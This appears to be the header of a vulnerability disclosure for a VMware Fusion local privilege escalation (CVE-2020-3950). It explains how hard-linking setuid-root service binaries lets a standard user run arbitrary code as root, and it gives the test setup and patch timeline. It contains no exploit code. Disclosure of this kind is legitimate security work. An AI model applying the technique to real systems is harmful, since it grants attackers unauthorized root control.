# Title
#
# VMware Fusion Elevation Of Privilege Vulnerability
#
#
# Description
#
# VMware Fusion 11.5.1 and prior are vulnerable to an elevation of privilege
# vulnerability. "VMware USB Arbitrator Service" and "Open VMware Fusion Services"
# are both setuid root binaries located at
# /Applications/VMware Fusion.app/Contents/Library/services. When executed
# outside of the standard path the binaries can be tricked into executing
# a program from a path that the attacker controls. This is achieved by
# created a hard link to the original binary. The binaries use part of the
# attacker-controlled path when executing the service and does not correctly
# validate that the target binary is legit.
#
#
# Impact
#
# A local attacker with a standard account can execute arbitrary code
# as root.
#
#
# Test Environment
#
# macOS 10.14.6
# VMware Fusion Professional Version 11.5.1 (15018442)
#
#
# Timeline
#
# 2019-12-23 Reported to vendor
# 2020-03-12 Patch released
# 2020-03-17 Advisory updated to include CVE-2020-3950
